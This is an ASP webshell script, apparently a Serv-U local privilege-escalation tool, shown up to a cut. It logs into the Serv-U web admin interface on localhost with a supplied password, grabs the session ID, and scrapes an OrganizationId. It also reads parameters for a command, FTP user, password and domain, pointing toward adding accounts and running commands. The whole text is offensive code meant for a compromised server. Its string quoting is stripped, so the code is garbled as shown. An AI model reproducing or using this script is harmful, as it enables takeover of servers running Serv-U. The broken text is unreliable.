<%
Function httpopen(neirong,fangshi,dizhi,refer,cookie)
set Http=server.createobject(Microsoft.XMLHTTP)
Http.open fangshi,dizhi,false
Http.setrequestheader Referer,refer
Http.setrequestheader Content-type,application/x-www-form-urlencoded
Http.setrequestheader Content-length,len(neirong)
Http.setrequestheader User-Agent,Serv-U
Http.setrequestheader x-user-agent,Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)
If cookie<> then
Http.setrequestheader Cookie,cookie
End If
Http.send neirong
httpopen=bytes2BSTR(Http.responseBody)
set Http=nothing
end Function
Function getmidstr(L,R,str)
int_left=instr(str,L)
int_right=instr(str,R)
If int_left>0 and int_right>0 Then
getmidstr=mid(str,int_left+len(L),int_right-int_left-len(L))
Else
getmidstr=执行的字符串中不包含“&L&”或“&R&”
End If
end Function
Function bytes2BSTR(vIn)
strReturn =
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr (CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function
%>
<%
'----------自定义参数开始-----------
action=Request(action)
loginpass=Request.Form(loginpass)
port=Request(port)
mydomain=Request.Form(mydomain)
path=Request.Form(path)
ftpport = Request.Form(ftpport)
user=Request.Form(user)
pass=Request.Form(pass)
cmd= Request.Form(cmd)
sessionid=Request(sessionid)
organizationId=Request(OrganizationId)
userid=Request(userid)
domainid=Request(domainid)
'----------自定义参数结束-----------
select case action
case 1
returns=httpopen(user=&pword=&loginpass&&language=zh%2CCN%26,POST,http://127.0.0.1:&port&/Web%20Client/Login.xml?Command=Login&Sync=1227081437828,http://127.0.0.1:&port&/?Session=39893&Language=zh,CN&LocalAdmin=1,)
sessionid=getmidstr(,,returns)
if sessionid<> then
Response.Write login ok!&
Response.redirect ?action=2&sessionid=&sessionid&&port=&port
else
Response.Write error!&
end if
case 2
call main2()
case 3
returns=httpopen(,POST,http://127.0.0.1:&port&/Admin/ServerUsers.htm?Page=1,,sessionid)
organizationIdTemp=mid(returns,instr(returns,OrganizationUsers.xml&ID=),len(OrganizationUsers.xml&ID=)+15)
organizationId=mid(OrganizationIdTemp,instr(OrganizationIdTemp,=)+1,instr(OrganizationIdTemp,)-instr(OrganizationIdTemp,=)-1)
if organizationId<> then
Response.write get organizationId &OrganizationId& ok!&
Response.redirect ?action=4&sessionid=&sessionid&&port=&port&&OrganizationId=&OrganizationId